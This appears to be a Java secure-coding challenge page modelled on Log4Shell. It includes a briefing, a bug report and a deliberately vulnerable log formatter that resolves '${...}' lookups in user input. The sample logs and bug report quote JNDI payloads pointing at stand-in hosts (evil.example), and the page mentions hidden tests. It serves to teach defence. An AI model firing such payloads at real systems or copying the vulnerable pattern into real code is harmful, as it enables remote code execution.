The Log That Looked Things Up — Java Bug Hunt
Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework…
- Language: Java
- Layer: Backend
- Difficulty: Hard
- Concepts: Injection, Logging
- Modelled on: Log4Shell · 2021
- Visible tests: lookup syntax is neutralised, never resolved; plain messages pass through untouched
- Reward: 50 XP for a complete fix
Briefing
Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework resolves it — downloading and executing attacker code.
The resolver is locked (that's the framework). LogFormatter.java must make sure user input never reaches it.
Bug report
BUG-44228 · Priority: 10.0/10.0 · Reported by: the entire industry
format(userMessage):
- user input is DATA. Never resolve lookups found inside it.
- neutralise every "${" as "{" so downstream systems can't resolve it either
- the output must never contain the resolver's output
Observed: a chat message of ${jndi:ldap://evil/x} triggers a lookup.
Logs
[chat] user nickname: ${jndi:ldap://evil.example/a}
[log4j] resolving jndi lookup...The code as shipped
LogFormatter.java (editable)
class LogFormatter {
static String format(String userMessage) {
int start = userMessage.indexOf("${");
if (start != -1) {
int end = userMessage.indexOf("}", start);
if (end != -1) {
String expr = userMessage.substring(start + 2, end);
String resolved = Resolver.resolve(expr);
return userMessage.substring(0, start) + resolved + userMessage.substring(end + 1);
}
}
return userMessage;
}
}Read-only context: Resolver.java.
Open the hunt to edit the files, run the visible tests and submit against the hidden ones. More Java bug hunts.